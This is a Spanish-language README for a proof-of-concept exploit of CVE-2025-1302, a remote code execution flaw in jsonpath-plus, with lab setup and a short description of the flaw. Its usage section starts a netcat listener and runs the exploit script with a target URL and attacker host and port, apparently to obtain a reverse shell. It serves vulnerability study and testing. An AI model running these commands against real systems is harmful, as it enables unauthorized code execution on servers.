CVE-2025-1302

★ CVE-2025-1302 JSONPath-plus RCE PoC ★

https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb

Configuración del laboratorio

docker build -t jsonpath:10.2.0 .
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

localhost:3000

Descripción

Las versiones del paquete jsonpath-plus anteriores a la 10.3.0 son vulnerables a la Ejecución Remota de Código (RCE) debido a una sanitización inadecuada de las entradas. Un atacante puede ejecutar código arbitrario en el sistema explotando el uso inseguro por defecto del modo eval='safe'. Nota: Esto se debe a una corrección incompleta para CVE-2024-21534.

Cómo usar

Clonar con Git

git clone https://github.com/EQSTLab/CVE-2025-1302.git
cd CVE-2025-1302

Instalar paquetes

pip install -r requirements.txt

Comando

nc -l -p <LPORT>
python3 CVE-2025-1302.py -u <URL_TO_EXPLOIT> -i <LHOST> -p <LPORT>

Salida

Resultado

Descargo de responsabilidad

Este repositorio no pretende ser un exploit de RCE para CVE-2025-1302. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si estás interesado, sigue los enlaces de abajo para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do